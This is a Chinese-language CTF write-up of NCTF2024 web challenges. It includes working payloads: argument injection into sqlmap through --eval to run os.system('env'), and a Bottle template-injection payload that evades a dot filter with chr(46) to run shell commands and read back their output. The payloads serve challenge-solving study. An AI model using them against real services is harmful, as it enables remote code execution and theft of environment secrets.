NCTF2024

sqlmap-master | 参数注入 | SV

  1. 有源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    @app.post("/run")
    async def run(request: Request):
    data = await request.json()
    url = data.get("url")

    if not url:
    return {"error": "URL is required"}

    command = f'sqlmap -u {url} --batch --flush-session'

    def generate():
    process = subprocess.Popen(
    command.split(),
    stdout=subprocess.PIPE,
    stderr=subprocess.STDOUT,
    shell=False
    )

    while True:
    output = process.stdout.readline()
    if output == '' and process.poll() is not None:
    break
    if output:
    yield output

    return StreamingResponse(generate(), media_type="text/plain")
  2. 进行参数注入

    1. shell=False,不允许接受字符串到/bin/sh中,只能接受数组来执行运行的程序
    2. command.spilit(),按照空格分割成数组
    3. sqlmap doc,–eval,试试看: 127.0.0.1 --eval __import__('os').system('env'),根目录操作会报错来着
  3. SUMMARY

    • 参数注入 => gtfobins/官方文档
    • shell解析,这里讲讲坑点,针对subprocess
      1. shell中的两种解析格式

        1. 在命令行参数中,–url=127.0.0.1 和 –url 127.0.0.1 是等价的(即 = 可以用空格代替),这是由命令行参数解析规则决定的
        --url="127.0.0.1" -u 127.0.0.1
        长选项解析 短选项解析
        (“) 将参数值括起来,通常用于处理包含空格或特殊字符的值(没有特殊字符则是可选的) -u 和 127.0.0.1 是分开的两个部分,无需引号
      2. 这里主要是shell=False的原因导致命令不能用引号包裹

        1. 关键区别:shell=False vs shell=True: 有shell的会解析一次字符串,shell=False则不会解析,直接将整个当作参数传入(包含引号),这里会导致报错

ez_dash | bottle ssti | SV

  1. 给了source.txt

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    '''
    Hints: Flag在环境变量中
    '''


    from typing import Optional


    import pydash
    import bottle



    __forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
    '__code__', '__defaults__', '__delattr__', '__dict__',
    '__dir__', '__doc__', '__eq__', '__format__',
    '__ge__', '__get__', '__getattribute__',
    '__gt__', '__hash__', '__init__', '__init_subclass__',
    '__kwdefaults__', '__le__', '__lt__', '__module__',
    '__name__', '__ne__', '__new__', '__qualname__',
    '__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
    '__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
    "Optional","func","render",
    ]
    __forbidden_name__=[
    "bottle"
    ]
    __forbidden_name__.extend(dir(globals()["__builtins__"]))

    def setval(name:str, path:str, value:str)-> Optional[bool]:
    if name.find("__")>=0: return False
    for word in __forbidden_name__:
    if name==word:
    return False
    for word in __forbidden_path__:
    if path.find(word)>=0: return False
    obj=globals()[name]
    try:
    pydash.set_(obj,path,value)
    except:
    return False
    return True

    @bottle.post('/setValue')
    def set_value():
    name = bottle.request.query.get('name')
    path=bottle.request.json.get('path')
    if not isinstance(path,str):
    return "no"
    if len(name)>6 or len(path)>32:
    return "no"
    value=bottle.request.json.get('value')
    return "yes" if setval(name, path, value) else "no"

    @bottle.get('/render')
    def render_template():
    path=bottle.request.query.get('path')
    if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
    return "Hacker"
    return bottle.template(path)
    bottle.run(host='0.0.0.0', port=8000)
  2. bottle ssti/python proto pollution

    1. bottle ssti可以直接%执行语句了,.过滤用编码绕过即可(这里过滤少,优先打),有eval呢

    2. payload: % eval("__import__('os')"+chr(46)+"system(mycmd)")但是要考虑回显问题,查看一下文档,可以回显文件

      1
      2
      template(*args, **kwargs)[源代码]
      获取作为字符串迭代器呈现的模板。可以使用名称、文件名或模板字符串作为第一个参数。模板呈现参数可以作为字典或直接(作为关键字参数)传递。
      1. final: /render?path=% eval("__import__('os')"%2Bchr(46)%2B"system('ls / > kc1zs4')"),然后/render?path=kc1zs4.txt即可
      2. 最后flag在env中,找不到/flag hhh
  3. SUMMARY

    1. 对于无回显的可以看看能不能读文件,包括这里的template,查一查文档这些

ez_dash_revenge | OPEN

  1. 修改了一下源码,非预期了hhh

    1

    1. 思路一: pp修改.的表示(需要自己挖吧感觉),然后打内存马吧
    2. 思路二: 打类似于sanic的public目录,一个尝试的方向
  2. SUMMARY

    • 还是对这些链子类的需要熟练一下(python, node的)

hint
注意 search 路由查询成功和失败 (Ok 和 Err) 时返回的 HTTP 状态码
XSLeaks

  1. 盲注吗这个hint?给了附件,看个爽,打xss吗?会停留30s?
  2. SUMMARY
    • rust语言得熟悉一下,还有go的,至少要会审计

ref

  1. x1r0z 出题记录